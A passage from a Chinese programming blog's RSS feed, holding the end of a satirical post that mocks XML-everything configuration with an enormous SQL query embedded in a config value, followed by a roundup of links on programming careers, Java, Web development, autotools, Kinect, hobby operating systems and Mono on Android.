minOccurs=&quot;0&quot;/&amp;gt;\n                  &amp;lt;xs:element name=&quot;Image&quot; type=&quot;xs:base64Binary&quot; minOccurs=&quot;0&quot;/&amp;gt;\n                &amp;lt;/xs:sequence&amp;gt;\n              &amp;lt;/xs:complexType&amp;gt;\n            &amp;lt;/xs:element&amp;gt;\n          &amp;lt;/xs:choice&amp;gt;\n        &amp;lt;/xs:complexType&amp;gt;\n      &amp;lt;/xs:element&amp;gt;\n    &amp;lt;/xs:schema&amp;gt;\n\n    &amp;lt;employees&amp;gt;\n      &amp;lt;EmployerName&amp;gt;\n        My Client\n      &amp;lt;/EmployerName&amp;gt;\n      &amp;lt;Employee&amp;gt;\n        100001\n      &amp;lt;/Employee&amp;gt;\n    &amp;lt;/employees&amp;gt;\n  &amp;lt;/CompanyGetConnector&amp;gt;\n&lt;/string&gt;\n</pre>\n<p><span id=\"more-3498\"></span></p>\n<h4>二、一切皆为配置</h4>\n<p>没有hard code这是一个优秀程序员在入门时就要学习的，对于Hard Coder的东西最好写在配置文件中，这样修改这些参数就不需要修改代码而需要重新编译了。自从有了XML之后，我们的配置文件就不在使用像ini文件或是Unix下在conf文件那样的易读，我们认为，使用XML作为配置文件的格式是大势所趋，而且，我们要让我们的代码尽量的可以高度的配置，于是我们出现了下面的代码——这是一个强大的尝试，其标志着，我们完全可以以不久的未来用XML来编写一切语言的代码。</p>\n<p>注：下面的代码最强大的应该是XML中的那个SQL。</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;add key=&quot;sqlSource&quot; value=&quot;\n    SELECT TOP REPLACE_NUMBER_OF_ROWS_TO_RETRIEVE\n           History.handle AS ID_FAX_LOG,\n           CASE isnumeric(SUBSTRING (Notes_Doc.Text ,1,8))\n              WHEN 1 then SUBSTRING (Notes_Doc.Text ,1,8)\n              ELSE NULL END AS ID_STAGE,\n           DocumentUsers.UserName AS NM_DOCUMENTUSER_USERNAME,\n           DocumentUsers.UserID AS TXT_DOCUMENTUSER_USERID,\n           DocumentUserGroups.GroupID AS TXT_DOCUMENTUSERGROUP_GROUPID,\n           Documents.UniqueID AS TXT_DOCUMENTS_UNIQUE_ID,\n           History.TRDateTime AS DT_HISTORY_TRANSACTION_DATE,\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN &#039;??&#039;\n                          ELSE\n                             CASE (Documents.Flags &amp; 0x10)\n                                WHEN 0 THEN &#039;Send&#039;\n                                ELSE &#039;Recieve&#039;\n                                END\n                          END\n                    ELSE CAST(HistoryGeneric_Short.Data AS varchar(32))\n                    END\n              ELSE &#039;Print&#039;\n              END AS TXT_TRANSACTION_TYPE,\n\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN &#039;??&#039;\n                          ELSE\n                             CASE Documents_Term.TermStatStr\n                                WHEN &#039;Success&#039; THEN &#039;Success&#039;\n                                ELSE &#039;Fail&#039;\n                                END\n                          END\n                    ELSE\n                       CASE HistoryGeneric.ErrCode\n                          WHEN 0 THEN &#039;Success&#039;\n                       ELSE &#039;Fail&#039;\n                       END\n                    END\n              ELSE\n                 CASE SUBSTRING(HistoryPrint.Msg,1,7)\n                    WHEN &#039;Success&#039; THEN &#039;Success&#039;\n                    ELSE &#039;Fail&#039;\n                    END\n              END AS TXT_TRANSACTION_STATUS,\n\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN &#039;??&#039;\n                          ELSE COALESCE(HistoryTRX_Term.TermStatStr,CONVERT(varchar,Documents.TermStat))\n                          END\n                    ELSE REPLACE(REPLACE(CAST(HistoryGeneric_Detail.Data AS varchar(192)) ,&#039;\\t&#039;,&#039;&#039;), &#039;~u&#039;, HistoryGeneric.UserID )\n                    END\n              ELSE HistoryPrint.Msg\n              END AS TXT_TRANSACTION_MESSAGE,\n\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN Documents.ElapsedSendTime\n                          ELSE\n                             CASE COALESCE(HistoryTRX.handle,0)\n                                WHEN 0 THEN Documents.ElapsedSendTime\n                                ELSE HistoryTRX.ElapsedTime\n                                END\n                          END\n                    ELSE NULL\n                    END\n              ELSE HistoryPrint.TimeToPrint\n              END AS NBR_TRANSACTION_ELAPSEDTIME,\n\n           CASE COALESCE(HistoryGeneric.handle,0)\n              WHEN 0 THEN\n                 CASE substring(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE\n                               (REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                                  Documents.Destination,&#039; &#039;,&#039;&#039;),&#039;)&#039;,&#039;&#039;),&#039;(&#039;,&#039;&#039;),\n                                  &#039;-&#039;,&#039;&#039;),&#039;/&#039;,&#039;&#039;),&#039;.&#039;,&#039;&#039;),&#039;*&#039;,&#039;&#039;),&#039;,&#039;,&#039;&#039;),&#039;;&#039;,&#039;&#039;),\n                                  &#039;\\&#039;,&#039;&#039;),&#039;-&#039;,&#039;&#039;),1,1)\n                    WHEN &#039;1&#039; THEN substring(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                                            REPLACE(REPLACE(REPLACE( REPLACE(REPLACE(\n                                            REPLACE(Documents.Destination,&#039; &#039;,&#039;&#039;),&#039;)&#039;,\n                                            &#039;&#039;),&#039;(&#039;,&#039;&#039;),&#039;-&#039;,&#039;&#039;),&#039;/&#039;,&#039;&#039;),&#039;.&#039;,&#039;&#039;),&#039;*&#039;,&#039;&#039;),\n                                            &#039;,&#039;,&#039;&#039;),&#039;;&#039;,&#039;&#039;),&#039;\\&#039;,&#039;&#039;),&#039;-&#039;,&#039;&#039;), 2, len(\n                                            REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                                            REPLACE(REPLACE(REPLACE( REPLACE(REPLACE(\n                                            REPLACE(Documents.Destination,&#039; &#039;,&#039;&#039;),&#039;)&#039;,\n                                            &#039;&#039;),&#039;(&#039;,&#039;&#039;),&#039;-&#039;,&#039;&#039;),&#039;/&#039;,&#039;&#039;),&#039;.&#039;,&#039;&#039;),&#039;*&#039;,&#039;&#039;)\n                                            ,&#039;,&#039;,&#039;&#039;),&#039;;&#039;,&#039;&#039;),&#039;\\&#039;,&#039;&#039;),&#039;-&#039;,&#039;&#039;)) )\n                    ELSE REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                         REPLACE(REPLACE(REPLACE(Documents.Destination,&#039; &#039;,&#039;&#039;),&#039;-&#039;,&#039;&#039;),&#039;)&#039;,\n                         &#039;&#039;),&#039;(&#039;,&#039;&#039;),&#039;/&#039;,&#039;&#039;),&#039;.&#039;,&#039;&#039;),&#039;*&#039;,&#039;&#039;),&#039;,&#039;,&#039;&#039;),&#039;;&#039;,&#039;&#039;),&#039;\\&#039;,&#039;&#039;),&#039;-&#039;,&#039;&#039;)\n                    END\n              ELSE HistoryGeneric.UserID\n              END AS TXT_TRANSACTION_DESTINATION,\n\n           CASE (Documents.Flags &amp; 0x8)\n              WHEN 0 THEN &#039;N&#039;\n              ELSE &#039;Y&#039; END AS NBR_DOCUMENTS_DELETED,\n\n           CASE (Documents.Flags &amp; 0x4)\n              WHEN 0 THEN &#039;N&#039;\n              ELSE &#039;Y&#039; END AS NBR_DOCUMENTS_VIEWED,\n\n           /* Fax Destination */\n           Documents.ToName AS TXT_DOCUMENTS_TO_NAME,\n           Documents.ToContactNum AS TXT_DOCUMENTS_TO_CONTACT_NUM,\n           Documents.ToCompany AS TXT_DOCUMENTS_TO_COMPANY,\n           Documents.ToCityState AS TXT_DOCUMENTS_TO_CITY_STATE,\n           Documents.FaxDIDNum AS TXT_DOCUMENTS_FAX_DID_NUM,\n           Documents.FromPhoneNum AS TXT_DOCUMENTS_FROM_PHONE_NUM,\n           Documents.GeneralFaxNum AS TXT_DOCUMENTS_GENERAL_FAX_NUM,\n           HistoryPrint.NetPrintID AS TXT_HISTORYPRINT_NETPRINTID,\n\n           /* Number of pages */\n           DocFiles.NumPages AS NBR_DOCFILES_TOTAL_PAGE_COUNT,\n           HistoryTRX.GoodPageCount AS NBR_HISTORYTRX_GOOD_PAGE_COUNT,\n           HistoryTRX.BadPageCount AS NBR_HISTORYTRX_BAD_PAGE_COUNT,\n           HistoryPrint.PagesPrinted AS NBR_HISTORYPRINT_PAGESPRINTED,\n           HistoryPrint.CopiesPrinted AS NBR_HISTORYPRINT_COPIESPRINTED,\n           /* location of fax image */ DTConfigurations.ServerName AS TXT_DOCFILES_SERVER_NAME,\n           DTConfigurations.ImageDir AS TXT_DOCFILES_IMAGE_DIR,\n           DocFiles.BodyFilename AS TXT_DOCFILES_BODY_FILENAME,\n           Documents.FCSFile AS TXT_DOCFILES_FCS_FILE,\n           REPLACE( DTConfigurations.ImageDir, &#039;D:\\Data&#039;, &#039;\\\\&#039;+ServerName )\n              + &#039;\\&#039;+DocFiles.BodyFilename+&#039;*&#039; AS TXT_DOCFILES_PATH_BODY_NAME,\n           REPLACE( DTConfigurations.ImageDir, &#039;D:\\Data&#039;, &#039;\\\\&#039;+ServerName )\n              + &#039;\\&#039;+Documents.FCSFile+&#039;*&#039; AS TXT_DOCUMENTS_PATH_FCSFILE,\n           Notes_Doc.Text AS TXT_NOTES_DOC_TEXT,\n           Notes_CCList.Text AS TXT_NOTES_CCLIST_TEXT,\n           DocumentUsers.RouteInfo AS TXT_DOCUMENTUSER_ROUTEINFO,\n           DocumentUsers.RouteType AS NBR_DOCUMENTUSER_ROUTETYPE,\n           DocumentUsers.EmailAddr AS TXT_DOCUMENTUSER_EMAILADDR,\n\n           /* misc Documents data */\n           Documents.CreationTime AS DT_DOCUMENTS_CREATION_TIME,\n           Documents.FRFlags2 AS NBR_DOCUMENTS_FRFLAGS2,\n           Documents.Flags AS NBR_DOCUMENTS_FLAGS,\n           Documents.ErrorCode AS NBR_DOCUMENTS_ERROR_CODE,\n           Documents.TermStat AS NBR_DOCUMENTS_TERMSTAT,\n\n           /* misc HistoryTRX data */\n           HistoryTRX.RemoteID AS TXT_HISTORYTRX_REMOTE_ID,\n           HistoryTRX.RemoteServer AS TXT_HISTORYTRX_REMOTE_SERVER,\n           HistoryTRX.Flags AS NBR_HISTORYTRX_FLAGS,\n           HistoryTRX.TermStat AS NBR_HISTORYTRX_TERMSTAT,\n\n           /* misc HistoryTRX data */\n           HistoryGeneric.ErrCode AS NBR_HISTORYGENERIC_ERRCODE,\n           HistoryGeneric.GenType AS NBR_HISTORYGENERIC_GENTYPE,\n           HistoryGeneric.UserID AS TXT_HISTORYGENERIC_USERID,\n\n           /* Handles */ Documents.handle AS ID_DOCUMENTS_HANDLE,\n           History.handle AS ID_HISTORY_HANDLE,\n           HistoryTRX.handle AS ID_HISTORYTRX_HANDLE,\n           HistoryGeneric.handle AS ID_HISTORYGENERIC_HANDLE,\n           HistoryPrint.handle AS ID_HISTORYPRINT_HANDLE\n\n    FROM Documents\n            INNER JOIN Users DocumentUsers ON Documents.OwnerID = DocumentUsers.handle\n            INNER JOIN History ON Documents.handle = History.Owner\n            LEFT OUTER JOIN DocFiles ON Documents.DocFileDBA = DocFiles.handle\n            LEFT OUTER JOIN Groups DocumentUserGroups ON DocumentUsers.GroupID = DocumentUserGroups.handle\n            LEFT OUTER JOIN HistoryPrint ON HistoryPrint.handle = History.handle\n            LEFT OUTER JOIN HistoryGeneric ON HistoryGeneric.handle = History.handle\n            LEFT OUTER JOIN Notes Notes_Doc ON Notes_Doc.handle = Documents.NoteDBA\n            LEFT OUTER JOIN Notes Notes_CCList ON Notes_CCList.handle = Documents.CCListDBA\n            LEFT OUTER join DTConfigurations ON DTConfigurations.ServerGUID = Documents.ServerGUID\n            LEFT OUTER JOIN Globalization HistoryGeneric_Detail ON\n               HistoryGeneric_Detail.Namespace = &#039;RightFax.SQL.HistoryGeneric&#039;\n               AND SUBSTRING(HistoryGeneric_Detail.LocKey,5,20) = &#039;DetailMsg&#039;\n               AND SUBSTRING(HistoryGeneric_Detail.LocKey,1,3) = CAST(HistoryGeneric.GenType AS varchar)\n               AND HistoryGeneric_Detail.IsoLanguageName = &#039;en-us&#039;\n            LEFT OUTER JOIN Globalization HistoryGeneric_Short ON\n               HistoryGeneric_Short.Namespace = &#039;RightFax.SQL.HistoryGeneric&#039;\n               AND SUBSTRING(HistoryGeneric_Short.LocKey,5, 20) = &#039;ShortMsg&#039;\n               AND SUBSTRING(HistoryGeneric_Short.LocKey,1, 3) = CAST(HistoryGeneric.GenType AS varchar)\n               AND HistoryGeneric_Short.IsoLanguageName = &#039;en-us&#039;\n            LEFT OUTER JOIN HistoryTRX ON HistoryTRX.handle = History.handle\n            LEFT OUTER JOIN (\n               SELECT distinct CONVERT(varchar,G.Data) AS TermStatStr,\n                      T.StatusCode AS TermStatCode,\n                      T.handle AS TermStat\n                 FROM Globalization G\n                         INNER JOIN TermStatToStatusCode T ON\n                            ( G.LocKey = &#039;HistoryTRX.BTHUSTAT&#039;\n                                 + RIGHT(&#039;0000&#039;\n                                 + LTRIM(RTRIM(CONVERT(char(3),T.StatusCode))), 3)\n                              AND G.IsoLanguageName = &#039;en-us&#039;\n                              AND G.LocKey like &#039;HistoryTRX.BTHUSTAT%&#039; )\n                  ) AS HistoryTRX_Term ON HistoryTRX.TermStat = HistoryTRX_Term.TermStat\n            LEFT OUTER JOIN (\n               SELECT distinct CONVERT(varchar,G.Data) AS TermStatStr,\n                      T.StatusCode AS TermStatCode,\n                      T.handle AS TermStat\n                 FROM Globalization G\n                         INNER JOIN TermStatToStatusCode T ON\n                            ( G.LocKey = &#039;HistoryTRX.BTHUSTAT&#039;\n                                 + RIGHT(&#039;0000&#039;\n                                 + LTRIM(RTRIM(CONVERT(char(3),T.StatusCode))), 3)\n                              AND G.IsoLanguageName = &#039;en-us&#039;\n                              AND G.LocKey like &#039;HistoryTRX.BTHUSTAT%&#039; )\n                  ) AS Documents_Term ON Documents.TermStat = Documents_Term.TermStat\n    WHERE\n       NOT (\n          /* The outer join on the HistoryPrint, HistoryGeneric, and HistoryTRX results in\n           * rows that just have null history data. One of the three must have a value. If\n           * all are null, the row is a result of the outer joins and the rows have no useable data so they\n           * filtered out. */\n          HistoryTRX.handle IS NULL\n             AND HistoryGeneric.handle IS NULL\n             AND HistoryPrint.handle IS NULL )\n       AND DocumentUsers.UserName IS NOT NULL\n\n       /* THIS VALUE is inserted into a NON NULL column in the FAX_LOG table. */\n       AND DocumentUsers.UserID IS NOT NULL\n\n       /* THIS VALUE is inserted into a NON NULL column in the FAX_LOG table. */\n       AND Documents.UniqueID IS NOT NULL\n\n       /* THIS VALUE is inserted into a NON NULL column in the FAX_LOG table. */\n       AND History.TRDateTime &gt; &#039;REPLACE_WHERE_CLAUSE_CRITERIA&#039;\n   ORDER BY History.TRDateTime&quot;\n/&gt; </pre>\n<p>来源：<a href=\"http://thedailywtf.com/Articles/All-In-The-Config.aspx\" target=\"_blank\">文章一</a>，<a href=\"http://thedailywtf.com/Articles/XMLd-XML.aspx\" target=\"_blank\">文章二</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"那些炒作过度的技术和概念\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_title\">那些炒作过度的技术和概念</a></li><li ><a href=\"https://coolshell.cn/articles/3585.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"SOAP的S是Simple\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3585.html\" class=\"wp_rp_title\">SOAP的S是Simple</a></li><li ><a href=\"https://coolshell.cn/articles/2504.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"信XML，得永生！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2504.html\" class=\"wp_rp_title\">信XML，得永生！</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3498.html\">信XML，得自信</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3498.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>40</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些有意思的网站和贴子</title>\n\t\t<link>https://coolshell.cn/articles/3480.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3480.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 18 Jan 2011 00:53:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[AutoTools]]></category>\n\t\t<category><![CDATA[Cheat Sheet]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Kinect]]></category>\n\t\t<category><![CDATA[makefile]]></category>\n\t\t<category><![CDATA[MikeOS]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[TeleHash]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3480</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>各位朋友，又到了介绍各种杂项的时候了，正如以前的这篇和这篇文章一样，本篇文章也给你介绍一些最近出现的一些有趣的东西。希望你能喜欢。 首先是华尔街的一篇报道，20...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3480.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3480.html\">一些有意思的网站和贴子</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>各位朋友，又到了介绍各种杂项的时候了，正如以前的<a href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">这篇</a>和<a href=\"https://coolshell.cn/articles/3437.html\" target=\"_blank\">这篇</a>文章一样，本篇文章也给你介绍一些最近出现的一些有趣的东西。希望你能喜欢。</p>\n<ul>\n<li>首先是<a href=\"http://online.wsj.com/article/SB10001424052748704723104576062173458318658.html?mod=WSJ_hps_sections_careerjournal#articleTabs%3Darticle\" target=\"_blank\">华尔街的一篇报道</a>，2011年最好和最不好的工作，其引用了<a href=\"http://careercast.com/\" target=\"_blank\">CareerCast.com</a>的数据，其列出了<a href=\"http://online.wsj.com/public/resources/documents/st_BESTJOBS0104_20110105.html\" target=\"_blank\">100个工作种类</a>，并根据薪资、工作环境、工作鸭梨、体力消耗和就业前景做了一个排序。结果<strong>排第一位的是“软件工程师”</strong>，其理由是：高科技产品的需求呈爆炸式增长，以及人们对iPod、平板电脑、和其它科技产品应用软件的喜好，软件工程师被评为最佳职业。软件工程师有弹性工作时间，可以在家办公，而且每个月都有猎头找来。而最差是的则是码头工人。</li>\n</ul>\n<div>\n<div style=\"text-align: center;\"><a href=\"http://online.wsj.com/public/resources/documents/st_BESTJOBS0104_20110105.html\"><img decoding=\"async\" loading=\"lazy\" src=\"http://si.wsj.net/public/resources/images/OB-LP754_bestjo_D_20110104181820.jpg\" border=\"0\" alt=\"[bestjobspromo]\" hspace=\"0\" vspace=\"0\" width=\"262\" height=\"174\" /></a></div>\n</div>\n<ul>\n<li>接下来是一个叫<a href=\"http://www.theserverside.com/news/thread.tss?track=NL-461&amp;ad=808081&amp;thread_id=61622&amp;asrc=EM_NLN_13145929&amp;uid=2780877\" target=\"_blank\">“Java pass by value”的长贴</a>，楼主说有一天在LinkedIn.com上看到了Java Group里有人讨论Java是pass by value的，长达240+贴子。贴子里说，如果你使用Java的原始类型如int, long，就是传值，如果你用object, array，其实传的是一个引用的拷贝，所以，Java是传值的。呵呵，你觉得有道理吗？于是，成就了这个大讨论战。<a href=\"http://www.reddit.com/r/programming/comments/f1d7r/huge_war_over_whether_java_is_pass_by_reference/\" target=\"_blank\">reddit.com上也有N多的回贴</a>。有空可以看看。</li>\n</ul>\n<p><span id=\"more-3480\"></span></p>\n<ul>\n<li>然后是两个网站，不知道你是否还记得我们介绍的那个<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2065.html\" target=\"_blank\">Windows 3.1的Web网站</a>，用Web来实现一切看来是迟早的问题。下面，让我们来看两个网站：\n<ul>\n<li>第一个是仿MS-DOS的个人网站——<a href=\"http://stopwilson.com/\" target=\"_blank\">http://stopwilson.com/</a></li>\n</ul>\n</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/01/msdos_website.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3482\" title=\"msdos_website\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/msdos_website.jpg\" alt=\"\" width=\"650\" height=\"446\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/01/msdos_website.jpg 650w, https://coolshell.cn/wp-content/uploads/2011/01/msdos_website-300x205.jpg 300w\" sizes=\"(max-width: 650px) 100vw, 650px\" /></a> <a href=\"https://coolshell.cn/wp-content/uploads/2011/01/Javascript_ipad.jpg\"></a></p>\n<ul>\n<li>\n<ul>\n<li>第二个是仿iPad的网站——<a href=\"http://alexw.me/ipad/\" target=\"_blank\">http://alexw.me/ipad/</a></li>\n</ul>\n</li>\n</ul>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"Javascript ipad\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/Javascript_ipad.jpg\" alt=\"\" width=\"506\" height=\"336\" /></p>\n<p style=\"padding-left: 60px;\">如果以后的上网设备必然是以移动为主，那么Web开发中的HTML+ Javascript将有可能成为最所有应用都需要去支持的东西。</p>\n<ul>\n<li>说到Web开发，表单提交功能是每个网站都会最到的事情。这里有一篇文章告诉你了如何增强表单的可用性。非常不错，Web程序员可以前往一读：<a href=\"http://sixrevisions.com/user-interface/10-tips-for-optimizing-web-form-submission-usability/\" target=\"_blank\">http://sixrevisions.com/user-interface/10-tips-for-optimizing-web-form-submission-usability/</a></li>\n</ul>\n<div>\n<ul>\n<li>接下来，向大家介绍一个开源项目——TeleHash，其基于<a href=\"http://en.wikipedia.org/wiki/Kademlia\">Kademlia</a>在<a href=\"http://en.wikipedia.org/wiki/Distributed_hash_table\" target=\"_blank\">DHT网络</a>上以P2P的方式用<a href=\"http://en.wikipedia.org/wiki/User_Datagram_Protocol\" target=\"_blank\">UDP协议</a>来发送一些<a href=\"http://www.json.org/\" target=\"_blank\">JSON数据</a>。于是你的应用程序就可以使用这个库来开发你的应用了。其源码在：<a href=\"https://github.com/quartzjer/TeleHash\" target=\"_blank\">https://github.com/quartzjer/TeleHash</a>，它的口号是：JSON + UDP + DHT = Freedom</li>\n</ul>\n</div>\n<ul>\n<li>如果你想使用autotools（autoconf和automake）写Makefile，这里有一个非常不错的教程：<a href=\"http://www.lrde.epita.fr/~adl/autotools.html\" target=\"_blank\">http://www.lrde.epita.fr/~adl/autotools.html</a></li>\n</ul>\n<ul>\n<li>不知道大家知不知道微软xbox 360上的<a href=\"http://www.xbox.com/en-US/kinect\" target=\"_blank\">Kinect</a>？其是XBox的一个硬件插件，有点类似于Wii，不过它的强大之处在于，你只需要用你的肢体动作就可以玩游戏了，不需要手上拿个什么。现在，几乎全世界的程序员都在hack这个东东，有人还用他玩WoW，也是强大。这里有一个教程教你如何通过<a href=\"http://openkinect.org/\" target=\"_blank\">openkinect.org</a>和C#开发点自己的小玩意。</li>\n</ul>\n<ul>\n<li>相试着写一个最简单的操作系统吗？这里有<a href=\"http://mikeos.berlios.de/write-your-own-os.html\" target=\"_blank\">一篇教程</a>教你用x86的汇编做一个操作系统，如果你想走得更远，可以看看<a href=\"http://mikeos.berlios.de/\" target=\"_blank\">MikeOS project</a>。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://mikeos.berlios.de/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"MikeOS\" src=\"http://mikeos.berlios.de/images/shot-3.png\" alt=\"\" width=\"504\" height=\"280\" /></a></p>\n<ul>\n<li>下面是一个HTML5 Canvas Cheat Sheet（点击看大图），关于更多的Cheat Sheet，你可以看看《<a href=\"https://coolshell.cn/articles/1566.html\" target=\"_blank\">程序员小抄大全</a>》《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2964.html\" target=\"_blank\">25个jQuery的编程小抄</a>》</li>\n</ul>\n<figure id=\"attachment_3492\" aria-describedby=\"caption-attachment-3492\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/01/HTML5_Canvas_Cheat_Sheet.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-3492\" title=\"HTML5 Canvas Cheat Sheet\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/HTML5_Canvas_Cheat_Sheet-300x221.png\" alt=\"HTML5 Canvas Cheat Sheet\" width=\"300\" height=\"221\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/01/HTML5_Canvas_Cheat_Sheet-300x221.png 300w, https://coolshell.cn/wp-content/uploads/2011/01/HTML5_Canvas_Cheat_Sheet-1024x757.png 1024w, https://coolshell.cn/wp-content/uploads/2011/01/HTML5_Canvas_Cheat_Sheet.png 1388w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a><figcaption id=\"caption-attachment-3492\" class=\"wp-caption-text\">HTML5 Canvas Cheat Sheet</figcaption></figure>\n<ul>\n<li><a href=\"http://monodroid.net/\" target=\"_blank\">Mono开始支持Android</a>。Mono是一个由Novell公司（先前是Ximian）主持的项目。该项目的目标是创建一系列符合ECMA标准（Ecma-334和Ecma-335）的.NET工具，包括C#编译器和共通語言執行平臺。与微软的.NET Framework不同，Mono项目不仅可以运行于Windows系统上，还可以运行于Linux，FreeBSD，Unix，Mac OS X和Solaris。这个项目叫MonoDroid。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://monodroid.net/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" title=\"http://monodroid.net/\" src=\"http://tirania.org/images/mono-android.png\" alt=\"\" width=\"188\" height=\"300\" /></a></p>\n<p style=\"text-align: center;\">&nbsp;</p>\n<ul>\n<li>最后来一个给力的教程吧，这是一个关于教你如何制作一个<a href=\"http://daid.mine.nu/instructabliss/?url=http://www.instructables.com/id/Led-Cube-8x8x8/\" 